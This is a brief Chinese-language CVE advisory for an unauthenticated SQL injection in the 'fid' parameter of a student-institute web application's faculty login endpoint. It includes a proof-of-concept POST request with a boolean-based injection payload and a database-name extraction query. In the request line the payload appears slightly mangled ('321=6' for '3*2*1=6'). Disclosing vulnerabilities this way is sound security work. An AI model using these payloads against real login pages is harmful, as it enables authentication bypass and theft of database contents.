CVE-2025-52399 - Institute of Current Students 中的 SQL 注入漏洞

概述

Institute-of-Current-Students 应用程序中的 loginlinkfaculty 端点通过 fid POST 参数存在 SQL 注入漏洞。该参数在用于 SQL 查询之前未经过适当的清理，从而允许远程攻击者执行任意 SQL 命令。

• 漏洞类型：SQL 注入
• 受影响组件：/loginlinkfaculty (POST)
• 受影响参数：fid
• 身份验证：不需要
• 影响：身份验证绕过、数据提取
• 测试环境：Localhost
• 数据库：icsnew
• 版本：1.0

PoC

HTTP 请求

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

Payload 结果

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → TRUE ❌ -1' OR 2*3=4 AND 000942=000942 -- → FALSE

数据库提取

SELECT database(); -- returns 'icsnew'

参考资料

• CVE-2025-52399 (MITRE)
• 受影响应用程序
• OWASP SQL 注入

发现者

Isroil Mustafoqulov